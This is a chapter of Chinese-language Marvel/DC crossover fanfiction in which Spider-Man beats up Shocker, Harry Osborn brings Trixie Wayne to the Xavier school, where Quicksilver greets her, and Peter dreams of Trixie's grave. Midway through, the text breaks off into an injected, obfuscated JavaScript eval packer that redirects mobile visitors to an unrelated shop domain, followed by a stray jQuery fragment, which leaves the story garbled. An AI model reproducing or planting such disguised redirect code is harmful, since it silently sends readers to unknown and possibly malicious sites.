纽约,无数美剧会发生奇迹的地点。
像永远不会停歇的心跳。
恐惧四魔正在袭击人群。
准确地说,是恐惧四魔中的其中一位正在单方面地被殴打。
克拉,AKA声波人,此刻正以一种完全不体面的姿势蜷缩在一辆黄色出租车的车顶上。
他的声波手套在上一轮交锋中已经被蛛丝糊了个严实,现在那双手套看起来像两只白色蚕蛹。
他的脸上写满了法外狂徒落网般的后悔。
蜘蛛侠从天而降的方式很不讲道理,他没有给声波人任何反应的余地,一道银白色的蛛丝从手腕上的发射器中喷出,精准地黏在了声波人的胸口,然后那股力量把他整个人从地面上提了起来,在空中划过一道抛物线,重重地砸在了一辆停在路边的轿车的车顶上。
“砰——”
车顶凹下去一个坑,警报器发出尖锐的鸣叫。
声波人的后脑勺磕在金属车顶上,眼前冒出一串金星。
他还没来得及从那种天旋地转的眩晕中回过神来,一只手已经从上方伸过来,揪住了他的衣领,把他从车顶上提了起来。
那只手戴着红蓝相间的手套,抓力大得像一台小型起重机。
声波人被提起来,悬在半空中,脚尖勉强能碰到车顶的凹陷处。
然后他被狠狠地摔了回去。
后背砸在车顶上,发出一声沉闷的“咚”,声波人的脊椎从尾骨一直疼到颈椎,让他眼前发黑。
蜘蛛侠蹲在车顶上,低头看着他。
声波人觉得自己看到了三途川。
平时到底是谁给他的勇气让他去挑衅蜘蛛侠的?
“我我投降……”声波人的声音从喉咙里挤出来,带着一种他自己都觉得丢人的颤抖,“我真的投降,你把我送回监狱吧……求你了……………”
一道绿色的影子从街道的另一头飞了过来。
绿魔的飞行器在低空盘旋,哈利·奥斯本站在飞行器上,姿态闲适。
他低头看着车顶上那场单方面的殴打,嘴角抽了一下。
“差不多得了。”哈利说“梅斯梅罗都快跑远了,你要是让他跑了,等下还得满城追,多费劲啊。”
蜘蛛侠——彼得·帕克,如梦初醒般地转过头。
他看向哈利指的方向。
声波人从车顶上滑落,重重地摔在地上,发出一声闷响。
彼得的蛛丝从手腕上喷出,黏在了对面楼顶的排水管接头上,他的身体在蛛丝收紧的瞬间腾空而起,在空中划了一道弧线,朝梅斯梅罗逃跑的方向追了过去。
哈利摇了摇头,他从飞行器上跳下来。
“你应该感谢我。”哈利说,语气真诚“要不是我拦着,说不定蜘蛛侠会把你打得更凶。”
“他最近是不是吃错药了?”声波人瑟瑟发抖“以前他打人的时候不是这样的,他今天看我的眼神,就好像……就好像他真的想杀了我。”
哈利伸出手,拽住声波人的后领,把他从地上提了起来。
声波人的身体在半空中晃了晃。
“你真的看得到他的眼神吗?……算了,每个人每个月都有那么几天。”哈利说,把声波人拖到飞行器旁边,然后一只手扶着他的肩膀“上去,咱们回监狱老家。”
声波人试探性地问“但蜘蛛侠不是男的吗?”
哈利侧过头,看了他一眼“你怎么敢假定蜘蛛侠的性别?小心他除了指控你扰乱社会治安罪之外,还能指控你性别歧视哦。”
声波人的表情在那一刻变得非常精彩。
他花了好几秒才消化完这段话里的信息量,低声喃喃了一句“我恨你。”
哈利的嘴角弯了一下“那我可就要指控你种族歧视了,我现在可是绿色人种。”他补充道,伸出手在自己胸前的绿色护甲上拍了拍。
声波人不再说话了。
现在大美丽国的年轻人已经发展成他看不懂的样子了。
正好是开学的前一天,将所有罪犯安全的送回神盾局监狱后,哈利还要去接特里克西。
严格来说,他是来送特里克西去泽维尔天才少年天赋学院的。
韦恩庄园的门厅很大。
阿尔弗雷德站在门厅的入口。
他穿着一件深色的剪裁合体的西装,头发花白但梳得一丝不苟,姿态笔直。
“哈利少爷。”阿尔弗雷德说“欢迎来到韦恩庄园。”
“有您这么一位友好、贴心、乐于助人的朋友,真是特里克西小姐的荣幸。”阿尔弗雷德说。
哈利的嘴角在那一瞬间弯了起来,那是一个得意的弧度。
他转过头,看着站在楼梯上的特里克西。
特里克西正靠在楼梯扶手上,手里抱着一个企鹅毛绒玩具,脚边放着两个行李箱和一个背包。
“阿福对谁都这么说。”特里克西说“如果今天是小丑来接我上学,你信不信阿福连‘小丑的笑容真是一个恬静优雅的绅士’都夸得出口。”
阿尔弗雷德的眉毛微微挑了一下。
“特里克西小姐,”阿尔弗雷德说,声音依然平稳,“您这样说我,我会很伤心的。”
“你才不会伤心呢,阿福,你知道我爱你。”特里克西从楼梯上走下来“而且你有一颗钢铁般的心脏,连布鲁斯都撬不开的那种。”
她走到哈利面前,仰着头看他。
哈利比她高出很多,即使她穿着厚底的小皮鞋,她的头顶也只到他的下巴。
他低下头,看着特里克西那张在韦恩庄园门厅的光线中显得比平时更像一个瓷娃娃的脸。
“承认我是一个很好、很贴心的朋友很难吗?”哈利说。
特里克西看着他“这种话说出口是要遭雷劈的,哥谭的天气不太好,等咱们路过大都会再说吧。”
哈利跟在后面,一只手拎着一个行李箱,背上还背着一个背包。
“感谢我的变异,不然你去哪里指望一个病弱的奥斯本少爷给你拎行李。”哈利咬牙切齿地说,“你们家的管家有链接吗,他能把这么多东西从楼上拎下来还真是管家界的王者——你到底带了多少东西?你是去上学还是去移民?”
车驶出韦恩庄园的铁栅栏门,驶上通往纽约的高速公路。
哈利一只手握着方向盘,另一只手在车载屏幕上点了几下,前奏的吉他声在车厢里回荡着,像一条被点燃的引线,从音响的扬声器里窜出来,在空气中燃烧着,发出让人肾上腺素飙升的声音。
“纽约最近怎么样?”特里克西靠在副驾驶的座椅上,腿蜷起来,膝盖贴着胸口,整个人缩成小小的一团。
哈利的嘴角抽了一下“坐直,要是路上发生车祸有你哭的。”
他想起了几个小时前在曼哈顿街道上那场单方面的殴打,想起了声波人那张泪痕斑驳的脸。
“最近纽约犯罪率持续下降。”哈利说“罪犯们都躲在监狱不敢出来了。”
“这不是天大的好事吗?”
“我可不这么觉得,最近彼得好像吃错药了一样,对着他们砸砸砸。”
特里克西转过头,看着他。
她的眉毛挑起来了,那个弧度不大,但足够让哈利看到她眼睛里的好奇。
“你确定你说的确实是穿着蓝红紧身衣的蜘蛛侠,”她说,语速慢了下来“而不是穿着卡其色小短裤的绿巨人?”
“我就算近视了也分得清一个一百多斤的和一个好几百斤的在体型上的差距。”
“万一不是近视了,”她说“是弱智了呢?”
哈利的手从方向盘上松开,伸出一只手,精准地在特里克西的额头上弹了一下。
特里克西捂住额头,整个人缩进座椅里,嘴巴瘪着,看起来既委屈又滑稽。
“你开车的时候能不能专注一点?”
泽维尔天才少年天赋学院的大门。
哈利把车停在门口,熄了火,把行李从车上拿了下来。
“你不陪我吗?”特里克西可怜巴巴的问。
这样看上去确实有点欺骗性,
哈利极为狠心“就几个月而已,你当自己还是小孩子吗?……就算你还是个小孩子,但我觉得现在彼得更需要关注,万一他把哪个反派打死了,或者给神盾局造成更大的损失怎么办,尼克·弗瑞不得弄死我们。”
“他会没事的。”特里克西说,伸出手在哈利的肩膀上拍了两下“彼得·帕克是世界上最坚强的蠢蛋之一。”
哈利觉得特里克西像是在逃避上学的小孩一样,他用力的按了两下特里克西的脑袋“有问题就打电话给我们,如果有人欺负你,我们保证会及时赶到。”
哈利刚想帮特里克西把地上的行李都搬进去,一看,刚刚被他从车上搬到地上的行李此时都已经不见了踪影。
“什么——”他还没说完,一只手从他身后伸了过来。
那只手的主人是一个青年戴着一副墨镜,镜片在阳光下反射出一种银灰色的光。
当然,也有可能是因为青年的头发也是银灰色的。
哈利几乎是本能地冲到特里克西身边,一只手把她拉到身后。
“你是谁?”哈利的声音比他预期的更冷硬。
下一秒,哈利感觉到自己的右手被握住了。
“你好!”银发青年的声音轻快“我叫皮特罗·马克西莫夫,你可以叫我快银,我是这所学校的学生,我的超能力就是快——非常快——快到你看不到我,快到你可以把我当成一个会瞬移的人,但我不是瞬移,我只是很快……当然,也有可能是你们太慢了。”
哈利欲言又止。
“我是来接特里克西·韦恩入学的。”皮特罗继续说,语速依然快得像一挺在扫射的机关枪“我已经把她的所有行李都放到她的房间里了,还有一个企鹅毛绒玩具,对吧?我把它放在枕头旁边了,因为它看起来像是那种需要被放在枕头旁边的东西。”
他停了一下,歪了一下头,墨镜从他的鼻梁上滑下来一点,露出他眼睛的颜色。
“如果你们没有其他要聊的事了,”皮特罗说,伸出手指在空中画了一个圈,“我现在就可以把她接进去了。”
特里克西从哈利身后探出半个脑袋。
她看着皮特罗,看了大概两秒,然后她的眼睛亮了一下。
“你认不认识旺达·马克西莫夫?”她问。
皮特罗的眉毛挑了一下“那是我双胞胎姐姐,她现在正在复仇者联盟里面当预备队员,每天忙着拯救世界,都没时间和我打电话。”
“那他为什么没有被神盾局选去当复仇者预备队员?”哈利问。
特里克西想了想“可能是怕和隔壁正义联盟撞设定。”
哈利无语“神智不正常的人就应该和神智不正常的人呆在一起。”
哈利的车马路上调了个头,扬起一片灰尘,然后驶上了通往纽约的高速公路,越来越小,最后变成一个小黑点,消失在了路的尽头。
特里克西站在泽维尔学院的大门前,看着那辆车消失的方向,然后一只手搭上了她的肩膀。
“想试试我的速度吗?”
皮特罗的声音从她身后传来
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17541825|202532||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。
她和巴里·艾伦打过交道。
她知道神速力到底是什么感受。
她知道在那种速度下,风会变成固体,空气会变成墙壁,你的胃会在你的身体里翻跟头,你的大脑会在一瞬间处理完你平时需要好几秒才能处理完的信息,然后你就开始怀疑人生。
怀疑自己为什么要同意这种事,怀疑自己是不是有自虐倾向,怀疑自己上辈子是不是欠了这个神速力者很多钱。
她扬起了一个尴尬而不失礼貌的微笑“不用了,谢谢。”
皮特罗歪了一下头“你知道,我做任何事都很快,当然也包括说服别人。”
下一秒,特里克西感觉到一双手托住了她的后脑勺和腰背,一只手护住她的颈椎,另一只手护住她的脊柱,确保她的脊椎在任何角度上都不会受到伤害。
“你会喜欢速度的。”
色彩在她的视野里变成了一条一条像梵高的星月夜一样的线条。
然后措不及防停了。
她站在一个房间里。
办公桌的后面,有一个男人坐在轮椅上。
他的嘴角挂着一个温和的微笑。
“是詹姆斯·麦卡沃伊版本的查尔斯·泽维尔欸………呕!!”
皮特罗站在特里克西身后,双手插在口袋里,姿态懒散,但他的表情在墨镜下面变得有点心虚。
彼得·帕克最近觉得自己像一台运行了太久没关机的电脑。
后台程序在崩溃,程序正在一个接一个地报错。
他能感觉到,有什么东西不对。
那天晚上他做了一个梦。
梦里的纽约和他记忆中的纽约一模一样。
时代广场的霓虹灯在夜幕中闪烁着那些他闭着眼睛都能背出来的广告。
一切都正常,正常到让他觉得毛骨悚然。
人民群众变成了一个内在被掏空了,只剩下一个壳子在按照某种预设的轨迹移动的那种空白。
他们在走路,聊天,工作,生活。
但他们的眼睛里没有光。
他的蜘蛛感应沉默得像一块石头。
他处理完了当天的工作,然后他换上了蜘蛛侠的战衣,在大街小巷中晃悠。
他打败了三个抢劫犯,两个试图撬车门的偷车贼,一个在巷子里欺负流浪汉的醉鬼。
他的动作比以前更利落了,甚至没有俏皮话。
打完了,绑起来,挂在显眼的地方,等警察来收。
他从皇后区荡到曼哈顿,从曼哈顿荡到布鲁克林,从布鲁克林荡到斯塔滕岛。
他在每一座桥上停留,在每一栋高楼的屋顶上驻足,在每一个他曾经和某个人一起看过日落的角落蹲下来,看着太阳从城市的天际线上缓慢地、一寸一寸地沉下去。
然后他发现自己站在了一个墓园里。
他不知道是怎么来的。
墓园很大。
视线从这一头延伸到那一头,看到的只有密密麻麻的墓碑。
暮色把天空染成了一种介于紫色和灰色之间的暧昧颜色。
彼得走到了一块墓碑前面。
他没有刻意去找,但他的脚就是把他带到了这里。
墓碑的中央嵌着一张照片。
特里克西对着镜头咧嘴笑,眼睛弯成两道月牙,露出两排整齐牙齿的,看起来像一只得意洋洋的猫。
彼得盯着那张照片看了大概两秒。
然后他抬起脚,踢了下去。
墓碑倒了,砸在地上,发出一声沉闷的“咚”。
照片上的特里克西还在笑。
即使在灰白色的暮色中,即使在被泥土糊了半边脸的情况下,她还在笑。
“你绕了纽约这么大一圈子,”一个声音从彼得身后传来,带着一种烦躁的干涩“就是为了来给特里克西的墓碑一脚?”
彼得没有回头。
他知道那是谁。
哈利·奥斯本从暮色中走出来。
他的表情在那一刻变得很复杂。
“我不明白。”彼得终于开口了,他的声音比他预期的更沙哑“立这个碑的意义是什么。”
他的目光落在照片上特里克西的脸上。
“她本人又没有躺在这里面。”他说,声音里的每一个字都像是从牙缝里挤出来的“连她的家人都不认为她已经死了,她只是失踪了,失踪,你明白吗?不是死亡,只是我们不知道她在哪。”
“说不定她还在某个异世界里面又唱又跳地采访反派呢。”
“斯特兰奇博士说过,”哈利说“特里克西没有任何存在的迹象了,那不就是死了么。”
彼得的身体在那一瞬间绷紧了“他一个靠时间宝石来穿越时间的人,他懂什么?”
哈利的眼睛瞪大了,他不理解彼得为什么会说这种疯话“你…你还是靠被一只蜘蛛咬变异的超级英雄呢。”
他没有等彼得回应。
他转过身,朝墓园的出口走去。
彼得站在原地。
他低头看着那块倒在地上的墓碑,看着照片上特里克西的笑脸。
笑容在暮色中显得格外刺眼。
他蹲下来,伸出手,用指尖轻轻地擦掉照片上那块糊住了特里克西半边脸的泥土。
世界在急剧变化。
重要的人失踪了。
他没有办法解决任何一件事。
醒来的时候,彼得躺在床上,盯着天花板看。
他的心跳很快。
特里克西回来的时候,他会不知道怎么面对她。